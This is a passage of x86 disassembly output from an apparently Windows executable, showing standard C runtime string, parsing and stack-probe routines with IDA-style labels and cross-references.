[ebp+arg_4] test esi, esi jz short loc_41C188 push 2 push ebx push esi call sub_4201BE add esp, 0Ch and byte ptr [esi+2], 0 loc_41C188: ; CODE XREF: sub_41C151+25j inc ebx inc ebx jmp short loc_41C196 ; --------------------------------------------------------------------------- loc_41C18C: ; CODE XREF: sub_41C151+18j ; sub_41C151+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C196 and byte ptr [eax], 0 loc_41C196: ; CODE XREF: sub_41C151+39j ; sub_41C151+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C20E loc_41C1A9: ; CODE XREF: sub_41C151+87j mov cl, [eax] movzx edx, cl test byte_4DAC81[edx], 4 jz short loc_41C1BA inc eax jmp short loc_41C1D4 ; --------------------------------------------------------------------------- loc_41C1BA: ; CODE XREF: sub_41C151+64j cmp cl, 2Fh jz short loc_41C1CE cmp cl, 5Ch jz short loc_41C1CE cmp cl, 2Eh jnz short loc_41C1D4 mov [ebp+var_4], eax jmp short loc_41C1D4 ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C151+6Cj ; sub_41C151+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C1D4: ; CODE XREF: sub_41C151+67j ; sub_41C151+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C1A9 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C20E cmp [ebp+arg_8], 0 jz short loc_41C209 sub edi, ebx cmp edi, esi jb short loc_41C1F2 mov edi, esi loc_41C1F2: ; CODE XREF: sub_41C151+9Dj push edi push ebx push [ebp+arg_8] call sub_4201BE mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C209: ; CODE XREF: sub_41C151+97j mov ebx, [ebp+arg_4] jmp short loc_41C218 ; --------------------------------------------------------------------------- loc_41C20E: ; CODE XREF: sub_41C151+56j ; sub_41C151+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C218 and byte ptr [ecx], 0 loc_41C218: ; CODE XREF: sub_41C151+BBj ; sub_41C151+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C26B cmp edi, ebx jb short loc_41C26B cmp [ebp+arg_C], 0 jz short loc_41C248 sub edi, ebx cmp edi, esi jb short loc_41C231 mov edi, esi loc_41C231: ; CODE XREF: sub_41C151+DCj push edi push ebx push [ebp+arg_C] call sub_4201BE mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C248: ; CODE XREF: sub_41C151+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C293 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C258 mov esi, eax loc_41C258: ; CODE XREF: sub_41C151+103j push esi push [ebp+var_4] push edi call sub_4201BE add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C293 ; --------------------------------------------------------------------------- loc_41C26B: ; CODE XREF: sub_41C151+CCj ; sub_41C151+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C289 sub eax, ebx cmp eax, esi jnb short loc_41C27A mov esi, eax loc_41C27A: ; CODE XREF: sub_41C151+125j push esi push ebx push edi call sub_4201BE add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C289: ; CODE XREF: sub_41C151+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C293 and byte ptr [eax], 0 loc_41C293: ; CODE XREF: sub_41C151+FCj ; sub_41C151+118j ... pop edi pop esi pop ebx leave retn sub_41C151 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C2A0 proc near ; CODE XREF: sub_40194F+8p ; sub_401AC7+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C2C0 loc_41C2AC: ; CODE XREF: sub_41C2A0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C2AC loc_41C2C0: ; CODE XREF: sub_41C2A0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C2A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2CF proc near ; CODE XREF: sub_401AC7+73E0p ; sub_401AC7+740Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C2E3 xor eax, eax jmp short loc_41C319 ; --------------------------------------------------------------------------- loc_41C2E3: ; CODE XREF: sub_41C2CF+Ej dec [ebp+arg_4] push esi jz short loc_41C313 mov esi, [ebp+arg_8] loc_41C2EC: ; CODE XREF: sub_41C2CF+42j dec dword ptr [esi+4] js short loc_41C2FB mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C302 ; --------------------------------------------------------------------------- loc_41C2FB: ; CODE XREF: sub_41C2CF+20j push esi call sub_41EF78 pop ecx loc_41C302: ; CODE XREF: sub_41C2CF+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C31D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C313 dec [ebp+arg_4] jnz short loc_41C2EC loc_41C313: ; CODE XREF: sub_41C2CF+18j ; sub_41C2CF+3Dj ... and byte ptr [edi], 0 loc_41C316: ; CODE XREF: sub_41C2CF+55j mov eax, ebx pop esi loc_41C319: ; CODE XREF: sub_41C2CF+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C31D: ; CODE XREF: sub_41C2CF+36j cmp edi, [ebp+arg_0] jnz short loc_41C313 xor ebx, ebx jmp short loc_41C316 sub_41C2CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C326 proc near ; CODE XREF: sub_41C52E+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C33E: ; CODE XREF: sub_41C326+46j cmp dword_43A88C, 1 jle short loc_41C356 movzx eax, bl push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_41C365 ; --------------------------------------------------------------------------- loc_41C356: ; CODE XREF: sub_41C326+1Fj mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C365: ; CODE XREF: sub_41C326+2Ej test eax, eax jz short loc_41C36E mov bl, [esi] inc esi jmp short loc_41C33E ; --------------------------------------------------------------------------- loc_41C36E: ; CODE XREF: sub_41C326+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C37C or [ebp+arg_C], 2 jmp short loc_41C381 ; --------------------------------------------------------------------------- loc_41C37C: ; CODE XREF: sub_41C326+4Ej cmp bl, 2Bh jnz short loc_41C387 loc_41C381: ; CODE XREF: sub_41C326+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C387: ; CODE XREF: sub_41C326+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C51E cmp eax, 1 jz loc_41C51E cmp eax, 24h jg loc_41C51E push 10h test eax, eax pop ecx jnz short loc_41C3CF cmp bl, 30h jz short loc_41C3B9 mov [ebp+arg_8], 0Ah jmp short loc_41C3EB ; --------------------------------------------------------------------------- loc_41C3B9: ; CODE XREF: sub_41C326+88j mov al, [esi] cmp al, 78h jz short loc_41C3CC cmp al, 58h jz short loc_41C3CC mov [ebp+arg_8], 8 jmp short loc_41C3EB ; --------------------------------------------------------------------------- loc_41C3CC: ; CODE XREF: sub_41C326+97j ; sub_41C326+9Bj mov [ebp+arg_8], ecx loc_41C3CF: ; CODE XREF: sub_41C326+83j cmp [ebp+arg_8], ecx jnz short loc_41C3EB cmp bl, 30h jnz short loc_41C3EB mov al, [esi] cmp al, 78h jz short loc_41C3E3 cmp al, 58h jnz short loc_41C3EB loc_41C3E3: ; CODE XREF: sub_41C326+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C3EB: ; CODE XREF: sub_41C326+91j ; sub_41C326+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C3FB: ; CODE XREF: sub_41C326+16Cj cmp dword_43A88C, 1 movzx esi, bl jle short loc_41C413 push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_41C41E ; --------------------------------------------------------------------------- loc_41C413: ; CODE XREF: sub_41C326+DFj mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_41C41E: ; CODE XREF: sub_41C326+EBj test eax, eax jz short loc_41C42A movsx ecx, bl sub ecx, 30h jmp short loc_41C45C ; --------------------------------------------------------------------------- loc_41C42A: ; CODE XREF: sub_41C326+FAj cmp dword_43A88C, 1 jle short loc_41C43E push edi push esi call sub_41F44A pop ecx pop ecx jmp short loc_41C449 ; --------------------------------------------------------------------------- loc_41C43E: ; CODE XREF: sub_41C326+10Bj mov eax, off_43A680 mov ax, [eax+esi*2] and eax, edi loc_41C449: ; CODE XREF: sub_41C326+116j test eax, eax jz short loc_41C497 movsx eax, bl push eax call sub_420248 pop ecx mov ecx, eax sub ecx, 37h loc_41C45C: ; CODE XREF: sub_41C326+102j cmp ecx, [ebp+arg_8] jnb short loc_41C497 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C481 jnz short loc_41C47B or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C481 loc_41C47B: ; CODE XREF: sub_41C326+147j or [ebp+arg_C], 4 jmp short loc_41C48A ; --------------------------------------------------------------------------- loc_41C481: ; CODE XREF: sub_41C326+145j ; sub_41C326+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C48A: ; CODE XREF: sub_41C326+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C3FB ; --------------------------------------------------------------------------- loc_41C497: ; CODE XREF: sub_41C326+125j ; sub_41C326+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C4B5 test edx, edx jz short loc_41C4AF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C4AF: ; CODE XREF: sub_41C326+181j and [ebp+var_8], 0 jmp short loc_41C502 ; --------------------------------------------------------------------------- loc_41C4B5: ; CODE XREF: sub_41C326+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C4DB test cl, 1 jnz short loc_41C502 and ecx, 2 jz short loc_41C4D2 cmp [ebp+var_8], 80000000h ja short loc_41C4DB loc_41C4D2: ; CODE XREF: sub_41C326+1A1j test ecx, ecx jnz short loc_41C502 cmp [ebp+var_8], eax jbe short loc_41C502 loc_41C4DB: ; CODE XREF: sub_41C326+197j ; sub_41C326+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4D9714, 22h jz short loc_41C4F1 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C502 ; --------------------------------------------------------------------------- loc_41C4F1: ; CODE XREF: sub_41C326+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C502: ; CODE XREF: sub_41C326+18Dj ; sub_41C326+19Cj ... test edx, edx jz short loc_41C50B mov eax, [ebp+var_4] mov [edx], eax loc_41C50B: ; CODE XREF: sub_41C326+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C519 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C519: ; CODE XREF: sub_41C326+1E9j mov eax, [ebp+var_8] jmp short loc_41C529 ; --------------------------------------------------------------------------- loc_41C51E: ; CODE XREF: sub_41C326+66j ; sub_41C326+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C527 mov [eax], edi loc_41C527: ; CODE XREF: sub_41C326+1FDj xor eax, eax loc_41C529: ; CODE XREF: sub_41C326+1F6j pop edi pop esi pop ebx leave retn sub_41C326 endp ; =============== S U B R O U T I N E ======================================= sub_41C52E proc near ; CODE XREF: sub_401AC7+6131p ; sub_401AC7+6962p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C326 add esp, 10h retn sub_41C52E endp ; =============== S U B R O U T I N E ======================================= sub_41C545 proc near ; CODE XREF: sub_401AC7+58F7p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 269023Ch test eax, eax jnz short loc_41C55B call near ptr 26908A7h nop jmp short loc_41C55D ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C545+Cj xor eax, eax loc_41C55D: ; CODE XREF: sub_41C545+14j test eax, eax jz short loc_41C56C push eax call sub_420314 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C56C: ; CODE XREF: sub_41C545+1Aj xor eax, eax retn sub_41C545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C56F proc near ; CODE XREF: sub_401AC7+584Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_42037B mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F5D4 push [ebp+arg_0] mov edi, eax push esi call sub_420408 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C56F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5B0 proc near ; CODE XREF: sub_401AC7+1E0Fp ; sub_401AC7+1E2Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C5D1 xor eax, eax jmp short loc_41C5D3 ; --------------------------------------------------------------------------- loc_41C5D1: ; CODE XREF: sub_41C5B0+1Bj mov eax, edi loc_41C5D3: ; CODE XREF: sub_41C5B0+1Fj cld pop edi leave retn sub_41C5B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5E0 proc near ; CODE XREF: sub_401AC7+84Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C611 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C60F jz short loc_41C611 dec ecx dec ecx loc_41C60F: ; CODE XREF: sub_41C5E0+29j not ecx loc_41C611: ; CODE XREF: sub_41C5E0+9j ; sub_41C5E0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C620 proc near ; CODE XREF: sub_401AC7+42Ap ; sub_401AC7+2FEDp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C691 sub_41C620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C630 proc near ; CODE XREF: sub_401AC7+433p ; sub_401AC7+7468p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C64C loc_41C63D: ; CODE XREF: sub_41C630+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C67F test ecx, 3 jnz short loc_41C63D loc_41C64C: ; CODE XREF: sub_41C630+Bj ; sub_41C630+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C64C mov eax, [ecx-4] test al, al jz short loc_41C68E test ah, ah jz short loc_41C689 test eax, 0FF0000h jz short loc_41C684 test eax, 0FF000000h jz short loc_41C67F jmp short loc_41C64C ; --------------------------------------------------------------------------- loc_41C67F: ; CODE XREF: sub_41C630+12j ; sub_41C630+4Bj lea edi, [ecx-1] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C684: ; CODE XREF: sub_41C630+44j lea edi, [ecx-2] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C689: ; CODE XREF: sub_41C630+3Dj lea edi, [ecx-3] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C68E: ; CODE XREF: sub_41C630+39j lea edi, [ecx-4] loc_41C691: ; CODE XREF: sub_41C620+5j ; sub_41C630+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C6B6 loc_41C69D: ; CODE XREF: sub_41C630+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C708 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C69D jmp short loc_41C6B6 ; --------------------------------------------------------------------------- loc_41C6B1: ; CODE XREF: sub_41C630+9Ej ; sub_41C630+B8j mov [edi], edx add edi, 4 loc_41C6B6: ; CODE XREF: sub_41C630+6Bj ; sub_41C630+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C6B1 test dl, dl jz short loc_41C708 test dh, dh jz short loc_41C6FF test edx, 0FF0000h jz short loc_41C6F2 test edx, 0FF000000h jz short loc_41C6EA jmp short loc_41C6B1 ; --------------------------------------------------------------------------- loc_41C6EA: ; CODE XREF: sub_41C630+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C6F2: ; CODE XREF: sub_41C630+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C630+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C708: ; CODE XREF: sub_41C630+72j ; sub_41C630+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C630 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C720 loc_41C710: ; CODE XREF: sub_41C720+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C720 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C720 proc near ; CODE XREF: sub_401AC7+40Fp ; sub_401AC7+4B6p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C710 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C726: ; CODE XREF: sub_41C080+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C74B loc_41C738: ; CODE XREF: sub_41C720+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C710 test cl, cl jz short loc_41C794 test edx, 3 jnz short loc_41C738 loc_41C74B: ; CODE XREF: sub_41C720+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C756: ; CODE XREF: sub_41C720+61j ; sub_41C720+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C798 and eax, 81010100h jz short loc_41C756 and eax, 1010100h jnz short loc_41C792 and esi, 80000000h jnz short loc_41C756 loc_41C792: ; CODE XREF: sub_41C720+68j ; sub_41C720+81j ... pop esi pop edi loc_41C794: ; CODE XREF: sub_41C720+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C798: ; CODE XREF: sub_41C720+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C7D5 test al, al jz short loc_41C792 cmp ah, bl jz short loc_41C7CE test ah, ah jz short loc_41C792 shr eax, 10h cmp al, bl jz short loc_41C7C7 test al, al jz short loc_41C792 cmp ah, bl jz short loc_41C7C0 test ah, ah jz short loc_41C792 jmp short loc_41C756 ; --------------------------------------------------------------------------- loc_41C7C0: ; CODE XREF: sub_41C720+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C7C7: ; CODE XREF: sub_41C720+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C7CE: ; CODE XREF: sub_41C720+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C7D5: ; CODE XREF: sub_41C720+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C7E0 proc near ; CODE XREF: sub_401AC7+1AEp ; sub_401AC7+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C82C loc_41C7F0: ; CODE XREF: sub_41C7E0+3Cj ; sub_41C7E0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+1] jnz short loc_41C824 or ah, ah jz short loc_41C820 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+3] jnz short loc_41C824 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C7F0 mov edi, edi loc_41C820: ; CODE XREF: sub_41C7E0+18j ; sub_41C7E0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C824: ; CODE XREF: sub_41C7E0+14j ; sub_41C7E0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C82C: ; CODE XREF: sub_41C7E0+Ej test edx, 1 jz short loc_41C848 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C824 inc ecx or al, al jz short loc_41C820 test edx, 2 jz short loc_41C7F0 loc_41C848: ; CODE XREF: sub_41C7E0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+1] jnz short loc_41C824 or ah, ah jz short loc_41C820 add ecx, 2 jmp short loc_41C7F0 sub_41C7E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C864 proc near ; CODE XREF: sub_401AC7+B5p ; sub_401AC7+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C87D: ; CODE XREF: sub_41C864+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C87D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C8A5 mov edx, dword_4D9760 loc_41C8A5: ; CODE XREF: sub_41C864+39j ; sub_41C864+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C8C5 test al, al jz short loc_41C8C5 inc edx jmp short loc_41C8A5 ; --------------------------------------------------------------------------- loc_41C8C5: ; CODE XREF: sub_41C864+58j ; sub_41C864+5Cj mov ebx, edx loc_41C8C7: ; CODE XREF: sub_41C864+81j mov al, [edx] test al, al jz short loc_41C8EB movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C8E7 inc edx jmp short loc_41C8C7 ; --------------------------------------------------------------------------- loc_41C8E7: ; CODE XREF: sub_41C864+7Ej and byte ptr [edx], 0 inc edx loc_41C8EB: ; CODE XREF: sub_41C864+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4D9760, edx and eax, ebx pop ebx leave retn sub_41C864 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C900 proc near ; CODE XREF: sub_40981C+1Cp ; sub_415D62+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C93E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C94B ; --------------------------------------------------------------------------- loc_41C93E: ; CODE XREF: sub_41C900+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C94B: ; CODE XREF: sub_41C900+3Cj mov eax, esi pop esi leave retn sub_41C900 endp ; =============== S U B R O U T I N E ======================================= sub_41C950 proc near ; CODE XREF: sub_40ADD4+88p ; sub_40B901+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CA04 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C97A loc_41C96B: ; CODE XREF: sub_41C950+28j mov al, [edi] inc edi test al, al jz short loc_41C9AB test edi, 3 jnz short loc_41C96B loc_41C97A: ; CODE XREF: sub_41C950+19j ; sub_41C950+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C97A mov eax, [edi-4] test al, al jz short loc_41C9B8 test ah, ah jz short loc_41C9B3 test eax, 0FF0000h jz short loc_41C9AE test eax, 0FF000000h jnz short loc_41C97A loc_41C9AB: ; CODE XREF: sub_41C950+20j dec edi jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9AE: ; CODE XREF: sub_41C950+52j sub edi, 2 jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9B3: ; CODE XREF: sub_41C950+4Bj sub edi, 3 jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9B8: ; CODE XREF: sub_41C950+47j sub edi, 4 loc_41C9BB: ; CODE XREF: sub_41C950+5Cj ; sub_41C950+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C9D0 mov ebx, ecx shr ecx, 2 jnz short loc_41CA1C jmp short loc_41C9EC ; --------------------------------------------------------------------------- loc_41C9D0: ; CODE XREF: sub_41C950+75j ; sub_41C950+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CA0A mov [edi], dl inc edi dec ecx jz short loc_41CA00 test esi, 3 jnz short loc_41C9D0 mov ebx, ecx shr ecx, 2 jnz short loc_41CA1C loc_41C9EC: ; CODE XREF: sub_41C950+7Ej ; sub_41C950+CAj mov ecx, ebx and ecx, 3 jz short loc_41CA00 loc_41C9F3: ; CODE XREF: sub_41C950+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CA02 dec ecx jnz short loc_41C9F3 loc_41CA00: ; CODE XREF: sub_41C950+8Bj ; sub_41C950+A1j mov [edi], cl loc_41CA02: ; CODE XREF: sub_41C950+ABj pop ebx pop esi loc_41CA04: ; CODE XREF: sub_41C950+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CA0A: ; CODE XREF: sub_41C950+85j ; sub_41C950+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA14: ; CODE XREF: sub_41C950+E4j ; sub_41C950+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C9EC loc_41CA1C: ; CODE XREF: sub_41C950+7Cj ; sub_41C950+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CA14 test dl, dl jz short loc_41CA0A test dh, dh jz short loc_41CA68 test edx, 0FF0000h jz short loc_41CA58 test edx, 0FF000000h jnz short loc_41CA14 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA58: ; CODE XREF: sub_41C950+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA68: ; CODE XREF: sub_41C950+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C950 endp ; =============== S U B R O U T I N E 